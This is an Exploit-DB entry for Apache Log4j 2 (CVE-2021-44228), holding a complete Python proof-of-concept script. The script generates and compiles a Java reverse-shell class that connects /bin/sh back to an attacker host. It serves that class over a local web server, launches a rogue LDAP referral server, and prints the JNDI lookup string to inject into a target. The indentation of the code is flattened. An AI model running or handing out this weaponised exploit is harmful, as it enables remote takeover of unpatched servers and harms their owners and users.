Apache Log4j 2 - Remote Code Execution (RCE)

EDB-ID:

50592


Author:

kozmer

Type:

remote


Platform:

Java

Date:

2021-12-14


# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Date: 11/12/2021
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc

import subprocess
import sys
import argparse
from colorama import Fore, init
import subprocess
import threading

from http.server import HTTPServer, SimpleHTTPRequestHandler

init(autoreset=True)

def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()

def payload(userip , webport , lport):

genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip, lport)

# writing the exploit to Exploit.java file

try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')

except Exception as e:
print(Fore.RED + f'[-] Something went wrong {e.toString()}')

checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up fake LDAP server\n')

# create the LDAP server on new thread
t1 = threading.Thread(target=createLdapServer, args=(userip,webport))
t1.start()

# start the web server

httpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()

def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if(javaver != 0):
print(Fore.RED + '[-] Java is not installed inside the repository ')
sys.exit()

def createLdapServer(userip, lport):
sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print(Fore.GREEN +"[+] Send me: "+sendme+"\n")

subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

url = "
http://{}:{}/#Exploit".format
(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

def header():
print(Fore.BLUE+"""
[!] CVE: CVE-2021-44228
[!] Github repo:
https://github.com/kozmer/log4j-shell-poc
""")

if __name__ == "__main__":
header()

try:
parser = argparse.ArgumentParser(description='please enter the values ')

parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')

parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')

parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')

args = parser.parse_args()

#print(args.userip)

payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))

except KeyboardInterrupt:
print(Fore.RED + "user interupted the program.")
sys.exit(0)